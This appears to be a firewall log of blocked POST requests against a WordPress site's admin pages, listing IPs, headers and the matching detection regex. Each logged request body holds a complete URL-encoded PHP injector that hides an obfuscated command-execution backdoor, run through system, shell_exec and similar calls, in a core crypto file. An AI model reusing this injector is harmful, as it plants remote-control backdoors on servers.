Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nnB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:51:37","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nfS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:51:58","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nPK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%